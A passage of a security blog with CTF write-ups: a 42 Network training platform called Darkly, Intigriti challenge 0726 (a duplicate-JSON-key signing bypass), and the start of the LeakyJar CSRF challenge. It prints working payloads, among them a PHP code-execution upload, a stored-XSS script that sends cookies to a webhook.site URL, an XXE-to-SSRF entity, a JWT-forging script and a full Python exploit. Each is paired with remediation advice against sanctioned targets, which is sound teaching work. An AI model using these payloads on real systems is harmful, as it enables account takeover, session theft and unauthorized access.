The third comes from the password-reset flow (which I dissect properly in §5). It let me set a new password for that student's account. Once inside, the interesting surface changes entirely: a logged-in student can post to the forum, search, edit their profile — and upload an avatar. An upload endpoint is a connection to the server's filesystem, and the only question that matters is: does it validate what it accepts?

It did not.

I uploaded a trivial PHP payload as a proof of concept:

<?php echo system('id'); ?>

The server accepted it and executed it, surrendering the flag:

FLAG{unr3str1ct3d_upl0ad_g0_brrr}

A note on responsible proof-of-concept. The payload above is a minimal demonstrator, not a weaponised shell. In a real engagement this is the exact moment a reverse shell would be staged — but the goal of a report is to prove exploitability, not to cause damage. Show the mechanism, capture the evidence, and stop.

Unrestricted file upload is dangerous precisely because it converts "store this file" into "run my code." Defence requires a defence-in-depth stack: validate the MIME type and the extension against an allow-list, rewrite filenames, store uploads outside the web root, serve them from a domain that never executes code, and strip execute permissions. Any single one of these, correctly applied, breaks the chain.

4. Flag #3 — Stored XSS Against the Moderation Bot

The forum advertises a feature that is really a challenge: "Every new post is opened by our automated moderation bot for review, usually within a minute." Translated from marketing into threat-model terms: an automated, privileged client will fetch and render my attacker-controlled content. That is the textbook precondition for stored cross-site scripting — the payload is persisted server-side and later executed in someone else's browser context.

I planted a comment carrying a cookie-exfiltration script. Because the moderation bot renders posts as it reviews them, the payload fires in the bot's session:

<script>
  var webhookUrl = "https://webhook.site/<my-unique-id>";
  fetch(webhookUrl + "?c=" + encodeURIComponent(document.cookie));
</script>

Within the promised minute, my webhook received a request carrying the bot's cookies — and the flag:

FLAG{xss_st0r3d_1s_n0t_4_f34tur3_w1l}

Two properties of the platform combine to make this fatal rather than merely annoying. First, the input is rendered without output encoding. Second, the session cookie is not HttpOnly, so document.cookie hands JavaScript the raw session token (see §13.7). Fix either one and the exfiltration breaks: context-aware output encoding stops the script from executing at all; HttpOnly stops a script that does execute from reading the cookie. A strict Content-Security-Policy would be the third, independent line of defence. Darkly ships none of them.

5. Flag #4 — Insecure Password Reset: When Your "Token" Is Just MD5(email)

The reset flow that enabled the account takeover in §3 deserves its own dissection, because it is a masterclass in client-side security theatre. The tip-off, fittingly, came from a student — benjamin — publicly outing the bug on himself in the forum: "Locked myself out last night and used the password reset. The link worked instantly — no email, the token was just sitting in the URL. And get this: that token is literally the md5 of my email address. Anyone could reset anyone's account this way — and once they're in, your account recovery code is just sitting there on your profile settings page." He was right on both counts, and he'd just told me exactly where the flag would be sitting once I was in.

Requesting a reset for his own email sends back a link containing a long, official-looking "security token." It looks like entropy. It is not. Decoding it confirmed his claim exactly — it is nothing more than the MD5 hash of the account's email address:

token == md5(victim_email)

Since email addresses are public (§2), anyone can compute any user's reset token offline and drive the reset to completion without ever receiving the email. The server was not validating the token server-side against stored state — it was trusting a value the attacker can reproduce at will. I set a new password with the forged token, logged in as benjamin, and — exactly as he'd described — the flag was sitting in plaintext on /profile/me/settings, under a box literally labelled "Account recovery code":

FLAG{r3s3t_t0k3n_w4s_just_md5_lol}

A password-reset token must be high-entropy, single-use, time-limited, and bound server-side to the account — generated with a CSPRNG, stored (hashed) in the database, and invalidated on use. A deterministic hash of a public identifier is not a token; it is a formula the attacker already knows.

6. Flag #5 — The Hidden-in-Plain-Sight API Endpoint

Back to that robots.txt note from recon. Most of its disallowed paths behaved defensively — 403s and redirects. But /api/grades answered a guest request with data it should never have exposed, including the flag:

FLAG{md5_1s_4_n4m3pl4t3_n0t_4_l0ck}

The lesson is blunt: robots.txt is not access control. It is a politeness convention for well-behaved crawlers, and to an attacker it is a curated map of exactly where to look. Sensitive endpoints must be protected by authentication and authorisation, not by a request that they please not be visited.

7. Flag #6 — Mass Assignment: Patch Your Own Role

This is my favourite bug in the whole platform, because it is the purest example of the server trusting the client to describe itself. As a student, my privileges were minimal. Escalating meant becoming campus staff — and a hint in the /staff area all but drew the map: try PATCH /api/profile.

Using Burp Suite's Repeater to craft the request by hand, I sent a PATCH to /api/profile with a body that included a field I was never meant to control:

PATCH /api/profile HTTP/1.1
Host: localhost:4942
Content-Type: application/json
Cookie: session=<my student session>

{"role":"cadet"}

The server responded 200 OK, applied the change, and my account climbed the ladder — unlocking a Staff Area with a dashboard, and the flag:

FLAG{just_p4tch_y0ur_0wn_r0l3_lol}

Mass assignment occurs when a framework binds request fields directly onto a data model without an allow-list, so the client can set fields the developer assumed were internal — role, is_admin, balance, verified. The fix is to never bind privileged fields from user input: use explicit input DTOs / allow-listed fields, and make authorisation-relevant attributes writable only through a separate, authorised code path.

8. Flag #7 — XXE Escalating to SSRF: Reaching `localhost` From the Outside

The agenda feature accepts an XML upload, and the deploy log has already confessed that defusedxml was "disabled temporarily" six months ago. An XML parser with external-entity resolution enabled is a Server-Side Request Forgery primitive wearing a data-import costume: it can be made to fetch URLs from the server's own network position, including localhost services an outside attacker can never reach directly.

A hint inside /staff/dashboard pointed at an internal configuration endpoint, /internal/config, that returns 403 to external callers. So I let the server fetch it for me, via an external XML entity:

<?xml version="1.0"?>
<!DOCTYPE agenda [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:4942/internal/config">
]>
<agenda>
  <event>
    <title>&xxe;</title>
    <date>2042-01-15</date>
  </event>
</agenda>

The parser resolved the entity server-side and reflected the internal config straight back into the response:

{
  "jwt_secret": "42network",
  "pb_admin_email": "admin@42network.local",
  "pb_admin_password": "Darkly42Admin!",
  "app_version": "1.0.0",
  "campus": "wilcity",
  "darkly_flag": "FLAG{d3fus3dxml_n3xt_spr1nt_pr0m1s3}"
}

FLAG{d3fus3dxml_n3xt_spr1nt_pr0m1s3}

This is the single most valuable request in the entire engagement — not for its flag, but for its loot. It leaks the JWT signing secret (42network, weaponised in §13.3) and the PocketBase admin credentials (weaponised immediately in §9). One misconfigured XML parser dismantles the trust boundary between "external attacker" and "internal service." Re-enable defusedxml (or disable DTD/entity processing entirely), and never expose secrets through any server-reachable config route.

9. Flag #8 — Privilege Escalation via the PocketBase Admin Console

The XXE leak from §8 handed me the PocketBase admin email and password, and the x-pocketbase header from recon told me exactly where to use them: the admin console at http://localhost:8090/_/. Logging in as admin dissolves the application's entire access-control model — the datastore has no notion of the app's "roles," only full CRUD over every collection.

From there I could read every user, every collection, and edit any record — including elevating my own account from cadet to god and setting my level arbitrarily. Enumerating the collections, an internal_audit collection held the flag:

FLAG{th3_und3rsc0r3_sl4sh_kn0ws_th3_w4y}

The takeaway is about blast radius. The upstream sin was leaking credentials (§8); the reason that sin is catastrophic is that the admin console was reachable and the credentials were static and shared. Backend admin interfaces must never be exposed to untrusted networks, must use strong unique credentials from a secrets manager, and must sit behind an independent authentication boundary so that one leaked config file cannot become total database compromise.

10. Flag #9 — Local File Inclusion via Path Traversal

The /project page references a document, faq_darkly.pdf, through a file-serving parameter — the classic shape of a Local File Inclusion sink. Direct attempts at /etc/passwd returned 403, and naive traversal returned 404, so the endpoint was partially hardened. The breakthrough came, once again, from reading the response headers, which advertised the backup configuration:

x-backup-schedule: daily@03:00
x-backup-dest:     localhost:/opt/pocketbase/pb_data
x-backup-exclude:  data/private_notes.txt

The server had just named the sensitive file for me — private_notes.txt — and roughly where it lived. After iterating on the traversal depth (the filter mishandled ../ sequences at a particular depth rather than normalising the path), the file resolved and yielded the flag:

FLAG{d0t_d0t_sl4sh_4ll_th3_w4y_d0wn}

Path-traversal defence is not string blocklisting — attackers have endless encodings for ../. The correct approach is to canonicalise the resolved path and verify it remains inside an explicitly permitted base directory, or better, to abandon filesystem paths entirely and serve documents by opaque ID from a lookup table. And, as a recurring theme: stop announcing your secrets in HTTP headers.

11. Flag #10 — CSRF: When `SameSite=Lax` Is the Only Line of Defence

The last flag sits behind POST /profile/me/settings, the endpoint that updates a logged-in user's first_name, last_name, and campus. Inspecting the session cookie set at login showed exactly one defensive attribute:

set-cookie: session=eyJhbGciOiJIUzI1NiIs...; Path=/; SameSite=lax

No Secure, no HttpOnly. Just SameSite=Lax — a browser-side mitigation, not a server-side control. That distinction is the entire vulnerability.

My first instinct was the classic SameSite=Lax bypass: Lax still allows the cookie on a top-level cross-site GET navigation, so if the same state change could be triggered via GET /profile/me/settings?first_name=..., a simple link click would carry the cookie. It didn't — the GET handler only renders the settings page; it never applies an update. That door is closed.

So I went back to the more fundamental question: does the server itself validate who is asking? I sent the real POST to Burp Repeater and attached a completely fabricated Origin header, pointing at a domain I do not own:

POST /profile/me/settings HTTP/1.1
Origin: https://example.com
Cookie: session=<a valid session>

first_name=CSRF_ORIGIN_TEST&last_name=Doe&campus=Wilcity

The server accepted it without question — 302, and the flag was sitting in the redirect target:

location: /profile/me/settings?csrf_flag=FLAG{csrf_4ny_0r1g1n_1s_w3lc0m3}

FLAG{csrf_4ny_0r1g1n_1s_w3lc0m3}

A caveat worth stating precisely, because I tested it rather than assumed it. I built the textbook exploit — an auto-submitting <form method="POST"> hosted on a separate origin — and drove it against the live app in a real, unmodified Chromium instance with the victim's cookie already set, exactly as a victim opening an attacker's page would experience it. The browser correctly withheld the SameSite=Lax cookie on that cross-site POST, and the request bounced to /login. The naive version of this attack does not work against a compliant modern browser.

That does not make the finding cosmetic. It relocates the real exposure to precisely the gap SameSite=Lax does not cover: an attacker-controlled same-site subdomain (cookies scoped by SameSite still travel across subdomains of the same registrable domain), an older or non-compliant browser or embedded webview, a proxy or browser extension replaying a captured request, or — as demonstrated above — anyone with the ability to issue the HTTP request directly. The server has zero defense-in-depth of its own: no CSRF token, no Origin/Referer check. It is trusting a client-side cookie attribute to do a job that belongs on the server.

The remediation is layered, deliberately: validate Origin (falling back to Referer) server-side on every state-changing request, and pair that with a synchronizer CSRF token bound to the session. SameSite=Lax is a good default — it is not, on its own, a security boundary a server is entitled to rely on.

12. The Chain: How Bugs Become One Total Compromise

Individually, each flag is a lesson. Together, they are a kill chain — and seeing the chain is the real skill Darkly teaches:

IDOR (§2) exposes a victim's email.
Insecure reset (§5) — md5(email) — turns that email into account takeover.
Account takeover (§3) unlocks the avatar uploader.
Unrestricted upload (§3) yields code execution.
Mass assignment (§7) escalates role without any of the above.
XXE→SSRF (§8) leaks the JWT secret and the PocketBase admin credentials.
PocketBase admin (§9) converts those credentials into total database control.
Weak/leaked JWT secret (§13.3) lets an attacker forge a valid session for any user with no password at all.
CSRF (§11) needs none of the above — any authenticated session at all is enough to forge a state-changing request, because the server never checks who's really asking.

No single fix saves this application, but note how many independent defences would each have broken the most damaging link: HttpOnly on the cookie, output encoding on the forum, an allow-list on PATCH /api/profile, defusedxml on the parser, a real reset token, a secrets manager for the JWT key, server-side Origin validation on state-changing requests. Security is not one wall; it is depth.

13. Bonus: Auditing the Remaining OWASP Top 10 Weaknesses

The project subject asks, for the bonus, 4 additional flags plus 5 more explained vulnerabilities — including at least one that exposes no flag. Beyond the ten flag-bearing bugs above (six mandatory, four bonus), I confirmed nine more distinct weaknesses live against the target (breaches 11–19) — bringing the running total to 19, which lines up exactly with the subject's stated platform-wide count, and nearly doubling the 5-vulnerability bonus requirement on its own. None of them mint a flag in this build; each of them weakens the platform. I document them here in the same spirit the OWASP Top 10 intends: not as trophies, but as a defensive checklist.

On top of those 19, there's a 20th write-up: Insecure Design (A04). It doesn't add a new instance — every point in it traces back to a bug already covered above (the MD5-as-secret pattern from breaches 04 and 14, the missing anti-automation from breach 19, the exposed secrets from breaches 07 and 16) — it steps back and names the design-level pattern those bugs share, rather than counting as a 20th distinct vulnerability.

13.1 — Reflected XSS (Newsletter)

The /newsletter banner echoes the email parameter back unescaped (...&msg=subscribed), executing arbitrary script in the victim's session. Combined with the non-HttpOnly cookie (§13.7), a crafted link steals a higher-privileged user's session token. Fix: context-aware output encoding + CSP.

13.2 — Open Redirect

/redirect?next=https://evil.example.com follows an attacker-controlled absolute URL (307), enabling phishing under a trusted domain and token leakage in OAuth-style flows. Fix: allow-list internal paths; reject absolute////scheme URLs.

13.3 — Weak & Leaked JWT Signing Secret → Session Forgery

The session cookie is HS256-signed with the secret 42network — trivially guessable, and leaked twice (base64 in a forum post, and in the XXE-dumped config). Crucially, the server does validate the signature (an alg:none, wrong-key, or unsigned token is rejected with a 302 to /login), but it reads the effective role from the database record identified by the sub claim, ignoring the token's own role field. So the exploit is not "set role:god" — that field is decorative. It is forging a validly-signed token for any sub:

import hmac, hashlib, base64, json
b = lambda x: base64.urlsafe_b64encode(x).rstrip(b'=').decode()
h = b(b'{"alg":"HS256","typ":"JWT"}')
p = b(json.dumps({"sub":"k1asdfeditojrb4","login":"wil","role":"god",
                  "exp":2000000000}, separators=(',',':')).encode())
sig = b(hmac.new(b"42network", f"{h}.{p}".encode(), hashlib.sha256).digest())
print(f"session={h}.{p}.{sig}")

Impersonating a victim's sub returns 200 on /admin and /staff/dashboard — a complete authentication bypass to any account, without credentials. Fix: long random secret-managed key, rotation, and preferably server-side sessions or short-lived RS256 tokens.

13.4 — Weak Passwords + Exposed MD5 Password Hints

Every user carries a pw_hint that is simply the unsalted MD5 of the password, readable via the IDOR/PocketBase exposure. Cracking against rockyou.txt recovered real credentials (benjamin:b3njamin!), confirmed against PocketBase's auth-with-password. Fix: never derive a hint from the password; hash with bcrypt/argon2; enforce strength.

13.5 — PocketBase Filter Injection (NoSQL-style)

/api/grades?student=<id> and the forum search parameter concatenate user input into a PocketBase filter string. Injecting x" || "1"="1 breaks out of the filter and dumps all records. Fix: parameterised filters (filter="student={:id}"), never string concatenation.

13.6 — Sensitive Data / Schema Disclosure & BOLA

/api/docs-internal hands an attacker the exact mass-assignment field list and the grades-injection sink; /api/users/{id} returns private fields (private_note, pw_hint, recovery_code) for any id, breaking object-level authorisation. Fix: remove debug endpoints from production; enforce per-object authorisation.

13.7 — Security Misconfiguration

Verbose stack/version headers (x-powered-by, server), backend signposting (x-pocketbase), backup metadata headers naming the LFI target, a non-HttpOnly session cookie, and an internet-reachable admin console. Each one shortcuts another breach in this report. Fix: strip informational headers; HttpOnly+Secure+SameSite; isolate the admin console.

13.8 — Vulnerable & Outdated Components (A06)

The team disabled defusedxml on purpose (deploy log) — the direct root cause of the XXE — and pins outdated FastAPI 0.104, uvicorn 0.24.0, and PocketBase 0.22.4. Fix: re-enable safe XML parsing; patch and pin to maintained releases.

13.9 — Security Logging & Monitoring Failures (A09)

Six wrong logins in a row all return 302 — no lockout, no throttling, no captcha — and the "telemetry" is admitted in the deploy log to be "just a console.log." Hundreds of requests, credential guessing, session forgery, and full DB dumps ran unthrottled and (observably) unalerted. Fix: real security-event logging, alerting, and login rate-limiting.

13.10 — Insecure Design (A04)

Several weaknesses here are design choices, not isolated bugs — the system is insecure as specified: the reset token is md5(email) and every pw_hint is md5(password) (MD5 used as a secret), the reset token is predictable-by-construction, there is no anti-automation on the auth flows, and secrets/schema are reachable by design (/internal/config, /api/docs-internal). Patching single endpoints can't fix a threat model that was never applied. Fix: threat-model up front; CSPRNG single-use server-bound tokens; bcrypt/argon2; rate-limit auth; keep secrets and schema off reachable routes.

14. Closing Thoughts: The Two Applications

Darkly's real lesson is not any single payload — it is a way of seeing. Every feature in a web application is simultaneously a capability for the user and a primitive for the attacker, and secure engineering is the discipline of never losing sight of the second reading. A profile link is also an object reference. An uploader is also a code path. A hint is also a hash. A moderation bot is also a privileged client rendering your input. A config endpoint is also a secrets leak waiting for the right XML entity. A cookie attribute is also the only line of defence, if nothing server-side backs it up.

Ten of those dual readings became flags. Ten more became a defensive checklist. None of them are fixed by a single patch — the pattern across all twenty is the same: some client-observable behaviour (a redirect, a cookie flag, a robots.txt disallow, a hint field) was quietly doing the job that server-side validation was supposed to do. Darkly's real curriculum is learning to notice exactly where that substitution happened, on every feature, before an attacker does.

Explore the Codebase

Ready to inspect every exploit.sh, read the full per-breach explanations, and see the flags and screenshots for yourself? Access the complete, documented repository on GitHub:

<div class="my-8 flex flex-col sm:flex-row items-center justify-between bg-[var(--card-bg)] border border-black/10 dark:border-white/10 rounded-2xl p-6 shadow-sm"> <div class="flex items-center gap-4 mb-4 sm:mb-0"> <div class="p-3 bg-[var(--primary)] text-white rounded-xl font-bold text-xl"> OWASP </div> <div> <h4 class="text-lg font-bold text-90 m-0">onevilx / darkly</h4> <p class="text-sm text-50 m-0">10 flags, 19 explained vulnerabilities plus a design-level synthesis, and per-breach exploit scripts against a 42 Network training platform</p> </div> </div> <a href="https://github.com/onevilx/darkly" target="_blank" rel="noopener noreferrer" class="no-styling px-6 py-3 bg-[var(--primary)] hover:opacity-90 transition text-white font-bold rounded-xl whitespace-nowrap shadow-md active:scale-95 text-center w-full sm:w-auto"> View Repository on GitHub → </a> </div>

Disclosure note: This is an intentionally vulnerable 42 Network training platform. Everything here was performed against the sanctioned target, within the project's stated scope.

Intigriti 0726 Challenge — JSON Key Bypass & TOCTOU

Mon, 27 Jul 2026 00:00:00 GMT

Challenge: Intigriti Monthly Web Security Challenge 0726
Target Platform: https://challenge-0726.intigriti.io
Vulnerability Type: JSON Duplicate Key Parser Confusion / TOCTOU Authorization Bypass
Source Code & Exploit Repository: onevilx/Writeups - Challenge_0726

1. Executive Summary & Challenge Architecture

Modern enterprise microservice architectures routinely delegate application functionality across diverse programming frameworks and parsing parsers. In Intigriti's Challenge 0726, the core application mimics a highly defended package deployment and reporting platform. Users are restricted to interacting strictly with package namespaces assigned to their own registered student accounts. The definitive objective of the challenge is to break outside of this isolated namespace tenancy and extract confidential internal security documentations stored inside the protected @core/security-notes system module.

During my vulnerability reconnaissance against the live challenge endpoints, I uncovered a fatal Time-of-Check to Time-of-Use (TOCTOU) race and structural parser confusion flaw. By feeding carefully crafted raw JSON payload structures containing duplicate dictionary keys into the cryptographic package signing engine, an attacker can bypass cryptographic integrity verifications and trick downstream execution services into executing restricted releases without authorization.

2. Polyglot Parser Confusion: First-Key vs. Last-Key Evaluation

The conceptual foundation of this vulnerability relies on an ambiguous specification standard within RFC 8259 regarding how data serialization parsers should process JSON object strings that define multiple identical property keys within the same structural block:

{
    "package": {"scope": "user_namespace_abc123", "name": "hello-world", "version": "1.0.0"},
    "package": {"scope": "core", "name": "security-notes", "version": "1.0.0"},
    "metadata": {"description": "automated bypass", "visibility": "private"},
    "operation": "preflight"
}

When an application stack utilizes disparate parsing libraries between its verification perimeter and its execution core, catastrophic authorization discrepancies occur:

The Authorization & Signing Gate (Time-of-Check): The frontend security verifier evaluates the raw payload stream utilizing a parsing routine that adopts a "First-Key-Wins" logic pattern. It inspects the initial "package" declaration, confirms that "scope" matches the user's legitimately assigned tenancy (user_namespace_abc123), and confidently attaches a valid cryptographic digital approval signature (manifest_sha256, nonce, and signature).
The Publication Engine (Time-of-Use): Once signed, the packet is transmitted to the downstream backend publication processor. This backend engine parses the exact same signed Base64 manifest utilizing an interpreter dictionary implementation that follows a "Last-Key-Wins" behavior! As the parser builds its parameter structures in system memory, the second "package" definition overwrites the first—causing the engine to generate an authoritative preflight release directly against the restricted @core/security-notes repository!

+-----------------------------------------------------------------------------+
|              INTIGRITI CHALLENGE 0726 EXPLOITATION WORKFLOW                |
+-----------------------------------------------------------------------------+
| 1. POST /api/login -> Retrieve assigned Namespace & x-csrf-token            |
|                                                                             |
| 2. Construct Dual-Key Raw Manifest String:                                  |
|    Key 1: [Allowed] -> {"scope": "<user_namespace>", "name": "hello-world"}|
|    Key 2: [Target]  -> {"scope": "core", "name": "security-notes"}          |
|                                                                             |
| 3. POST /api/manifests/sign (Time-of-Check)                                 |
|    [Frontend Verifier] -> Reads Key 1 -> Validates Scope -> ISSUES SIGNATURE|
|                                                                             |
| 4. POST /api/publications (Time-of-Use)                                     |
|    [Backend Engine]    -> Reads Key 2 (Override!) -> Deploys @core module!  |
|                                                                             |
| 5. GET /api/publications/<pub_id> -> RETRIEVE EXPOSED SECRET FLAG RELEASE!   |
+-----------------------------------------------------------------------------+

3. Dissecting My Automated Python Exploit (`exploit.py`)

To systematically automate this multi-stage exploitation pipeline, I authored a custom Python proof-of-concept exploit tool designed to interface directly with the challenge APIs. Below is the full, unmodified production source code from my GitHub repository, followed by an architectural breakdown of each operational stage:

#!/usr/bin/env python3
"""
Intigriti Challenge 0726 — Automated PoC Exploit
Vulnerability: JSON Duplicate Key Authorization Bypass (TOCTOU)
"""

import requests
import json
import base64
import sys

BASE_URL = "https://challenge-0726.intigriti.io"
USERNAME = "YOUR_USERNAME"
PASSWORD = "YOUR_PASSWORD"

s = requests.Session()

print("[*] Step 1: Authenticating to challenge platform...")
r = s.post(f"{BASE_URL}/api/login", json={"username": USERNAME, "password": PASSWORD})
if "error" in r.text or r.status_code != 200:
    print(f"[-] Login failed: {r.text}")
    sys.exit(1)

namespace = r.json()["user"]["namespace"]
csrf = s.get(f"{BASE_URL}/api/me").json()["csrf_token"]
print(f"[+] Authenticated! Assigned Namespace: {namespace}")
print(f"[+] CSRF Token Obtained: {csrf[:16]}...")

print("\n[*] Step 2: Constructing dual-key payload (TOCTOU trigger)...")
# First package key passes authorization, second key executes on restricted target
manifest_raw = '''{
    "package": {"scope": "''' + namespace + '''", "name": "hello-world", "version": "1.0.0"},
    "package": {"scope": "core", "name": "security-notes", "version": "1.0.0"},
    "metadata": {"description": "automated bypass", "visibility": "private"},
    "operation": "preflight"
}'''

manifest_b64 = base64.b64encode(manifest_raw.encode()).decode()

print("\n[*] Step 3: Requesting cryptographic approval signature...")
headers = {"x-csrf-token": csrf}
r = s.post(f"{BASE_URL}/api/manifests/sign", json={"manifest_b64": manifest_b64}, headers=headers)
if "error" in r.text:
    print(f"[-] Signing failed: {r.text}")
    sys.exit(1)

approval = r.json()
print(f"[+] Approval Granted! Approval ID: {approval['approval_id']}")

print("\n[*] Step 4: Submitting signed payload to publications engine...")
payload = {
    "manifest_b64": manifest_b64,
    "approval_id": approval["approval_id"],
    "manifest_sha256": approval["manifest_sha256"],
    "nonce": approval["nonce"],
    "expires_at": approval["expires_at"],
    "signature": approval["signature"]
}
r = s.post(f"{BASE_URL}/api/publications", json=payload, headers=headers)
pub_id = r.json()["publication_id"]
print(f"[+] Report generated! Publication ID: {pub_id}")

print("\n[*] Step 5: Fetching restricted system release notes...")
report = s.get(f"{BASE_URL}/api/publications/{pub_id}").json()

flag = report["report"]["release_notes"]
print("\n" + "="*55)
print(f"  🚩 CAPTURED FLAG: {flag}")
print("="*55)

4. Architectural Step-by-Step Code Walkthrough

Step 1: Authentication & Session Triage

Before submitting payloads, the script initializes a persistent network session (requests.Session()) and authenticates via POST /api/login. Upon verifying valid operator credentials, the target server assigns a sandboxed execution tenancy identifier (namespace). To bypass standard Cross-Site Request Forgery protections across subsequent POST endpoints, our program queries GET /api/me, extracting the dynamic cryptographic csrf_token directly into memory.

Step 2: Constructing the Dual-Key Raw Manifest String

Notice how our script does not generate the payload utilizing Python’s native dictionary serialization (json.dumps()). If we had constructed standard Python dictionaries, the local runtime interpreter would automatically drop the initial duplicate key prior to network transmission!

By explicitly declaring manifest_raw as an unparsed literal multi-line string, we force the string assembly to retain both conflicting "package" declarations intact:

Key 1 (Authoritative Bypass): "scope": namespace immediately convinces the API signing security layer that our deployment operates strictly inside authorized boundaries.
Key 2 (Target Exfiltration): "scope": "core", "name": "security-notes" waits silently to override backend variable evaluation during the execution phase. The raw string is subsequently converted into an ASCII Base64 execution string (manifest_b64) to prevent intermediate HTTP reverse-proxies from stripping formatting characters during route forwarding.

Step 3: Acquiring Cryptographic Approval Signatures

With our forged payload finalized and headers populated with x-csrf-token, the tool initiates a verification request against POST /api/manifests/sign. Because the verification perimeter parses our first package scope successfully, it trusts the structure and responds with an authoritative approval array—returning an authorized approval_id, a timestamped expires_at token, a random cryptographic nonce, and an unforgeable HMAC-SHA256 digital signature!

Steps 4 & 5: Triggering TOCTOU Collision & Flag Exfiltration

Equipped with a genuine cryptographic approval bundle, our program fires the complete payload directly into the processing engine via POST /api/publications. The downstream service validates the HMAC signature against the supplied Base64 string and unpacks the JSON directly into its native processing logic. Because its internal JSON decoding engine executes a Last-Key-Wins key-value replacement loop, it assigns "scope": "core" as the operative publication target!

Within milliseconds, the backend compiles the preflight build report and assigns a dynamic publication_id. Our final function queries GET /api/publications/{pub_id}, pulling down the unprotected administrative diagnostics and printing the winning challenge flag straight to standard output!

5. Remediation & Secure Parsing Guidelines

To defend complex web applications against polyglot parser collisions and TOCTOU JSON manipulation vulnerabilities, software architects should implement the following defensive controls:

Enforce Strict Zero-Duplicate JSON Schema Validation: Configure incoming API gateways and REST parsers to treat duplicate dictionary keys as fatal parsing exceptions. Libraries like Fastify, Ajv, or strict RFC-compliant Go JSON validators should immediately terminate request execution upon encountering repeated properties.
Re-Verify Cryptographic Claims at the Execution Boundary: Never rely blindly on perimeter approval signatures without re-running architectural authorization checks at the exact point of consumption. When the publication service unpacks a manifest, it should explicitly verify whether the decrypted target scope matches the authenticating user’s runtime JWT identity token!

💻 View the Complete Source Code on GitHub

All accompanying markdown docs, challenge blueprints, and production Python exploitation tools for Intigriti challenges are hosted in my open-source repository:

<div class="my-6"> <a href="https://github.com/onevilx/Writeups/tree/main/CTFs/Intigriti/Challenge_0726" target="_blank" class="not-prose block p-6 bg-gradient-to-r from-purple-900/40 to-indigo-900/40 hover:from-purple-900/60 hover:to-indigo-900/60 border border-purple-500/30 hover:border-purple-400/60 rounded-2xl transition duration-300 shadow-xl hover:shadow-purple-500/10 group"> <div class="flex items-center justify-between"> <div class="flex items-center space-x-4"> <div class="p-3 bg-purple-500/20 text-purple-400 rounded-xl group-hover:scale-110 transition duration-300"> <svg xmlns="http://www.w3.org/2000/svg" class="h-8 w-8" fill="currentColor" viewBox="0 0 24 24"> <path fill-rule="evenodd" clip-rule="evenodd" d="M12 2C6.477 2 2 6.484 2 12.017c0 4.425 2.865 8.18 6.839 9.504.5.092.682-.217.682-.483 0-.237-.008-.868-.013-1.703-2.782.605-3.369-1.343-3.369-1.343-.454-1.158-1.11-1.466-1.11-1.466-.908-.62.069-.608.069-.608 1.003.07 1.53 1.032 1.53 1.032.892 1.53 2.341 1.088 2.91.832.092-.647.35-1.088.636-1.338-2.22-.253-4.555-1.113-4.555-4.951 0-1.093.39-1.988 1.029-2.688-.103-.253-.446-1.272.098-2.65 0 0 .84-.27 2.75 1.026A9.564 9.564 0 0112 6.844c.85.004 1.705.115 2.504.337 1.909-1.296 2.747-1.027 2.747-1.027.546 1.379.202 2.398.1 2.651.64.7 1.028 1.595 1.028 2.688 0 3.848-2.339 4.695-4.566 4.943.359.309.678.92.678 1.855 0 1.338-.012 2.419-.012 2.747 0 .268.18.58.688.482A10.019 10.019 0 0022 12.017C22 6.484 17.522 2 12 2z" /> </svg> </div> <div> <h4 class="text-xl font-bold text-white group-hover:text-purple-300 transition duration-300 flex items-center gap-2"> onevilx / Writeups / CTFs / Intigriti / Challenge_0726 <span class="text-xs px-2.5 py-0.5 rounded-full bg-purple-500/20 text-purple-300 border border-purple-500/30">Python Exploit</span> </h4> <p class="text-neutral-300 text-sm mt-1">View my full markdown walkthroughs, challenge blueprints, and run the automated PoC exploit directly from GitHub.</p> </div> </div> <div class="text-purple-400 group-hover:translate-x-1 transition duration-300"> <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3" /> </svg> </div> </div> </a> </div>

Special gratitude to Intigriti's offensive engineering team for continually architecting engaging, world-class monthly security challenges.

Intigriti LeakyJar Challenge — CSRF to Steal Admin's Secret Recipe

Mon, 29 Jun 2026 00:00:00 GMT

Challenge: Intigriti LeakyJar CTF Challenge
Writeup & Exploit Repository: onevilx/Writeups
Vulnerability Category: Cross-Site Request Forgery (CSRF) / Cookie Security Misconfiguration
Difficulty Rating: Medium / Tier 2 Web Exploitation
Final Status: ✅ Accepted & Resolved (Flag Captured)

1. Executive Summary & Challenge Premise

In modern web security, Cross-Site Request Forgery (CSRF) is often incorrectly treated as a relic of early web exploitation. Driven by the widespread adoption of automated framework defenses and modern browser defaults—specifically the automatic enforcement of SameSite=Lax cookie attributes across Chrome, Firefox, and Safari—many engineers and novice security researchers presume that CSRF has vanished from contemporary web applications.

However, when developers build dynamic Single Page Applications (SPAs) or micro-frontend architectures requiring embedded third-party widget communications across disparate domains, they frequently downgrade session security protections to make integration work. By explicitly configuring authentication cookies to utilize SameSite=None; Secure without accompanying cryptographic Anti-CSRF token verification, engineers inadvertently re-open their platforms to fatal forged execution exploits.

In the Intigriti LeakyJar competition, participants were confronted with a secure enterprise document vault engineered for professional chefs to manage and protect proprietary recipes. Our mission: manipulate an automated administrative evaluation bot into leaking its encrypted private recipe vault—which protected the competition capture flag—directly to our unprivileged guest account.

+-----------------------------------------------------------------------------+
|                 LEAKYJAR CSRF EXPLOITATION ARCHITECTURE                     |
+-----------------------------------------------------------------------------+
| 1. Admin Bot (Headless Chrome) navigates to attacker exploit server:        |
|    GET http://onevilx-exploit.tld/leak.html                                 |
|                                                                             |
| 2. Exploit HTML renders hidden iframe and executes automated form submit:   |
|    POST https://leakyjar.intigriti.io/api/v1/recipes/share                  |
|    [Payload: recipe_id=admin_master_recipe & invite_user=onevilx_hacker]    |
|                                                                             |
| 3. Browser inspects target authentication session cookie attributes:        |
|    Found: "session_id=s%3A89f...; SameSite=None; Secure; HttpOnly"          |
|    Result: Browser attaches Admin Bot's root session cookie automatically! |
|                                                                             |
| 4. LeakyJar Server verifies authenticated Admin session and processes share!|
| 5. Attacker logs into regular account and opens unsealed admin vault!       |
+-----------------------------------------------------------------------------+

By conducting systematic application state inspection, identifying an unprotected collaborative sharing endpoint, and weaponizing relaxed cookie attribution policies, we built an automated cross-origin exploitation pipeline that broke open the admin recipe vault within seconds.

2. Reconnaissance & Application Architecture

Our initial reconnaissance mapping of leakyjar.intigriti.io identified three core operational components driving the application logic:

